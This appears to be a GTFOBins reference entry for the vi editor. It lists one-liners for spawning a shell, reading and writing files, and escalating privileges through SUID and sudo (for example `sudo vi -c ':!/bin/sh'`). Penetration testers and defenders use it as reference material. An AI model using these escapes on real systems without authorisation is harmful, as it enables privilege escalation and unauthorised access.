GTFOBins.github.io/_gtfobins/vi.md
2018-10-05 18:55:38 +01:00

340 B

functions
shell file-write file-read suid sudo
code
vi -c ':!/bin/sh'
code
vi :set shell=/bin/sh :shell
code
vi file_to_write iDATA ^[ w
code
vi file_to_read
code
./vi -c ':!/bin/sh -p'
code
sudo vi -c ':!/bin/sh'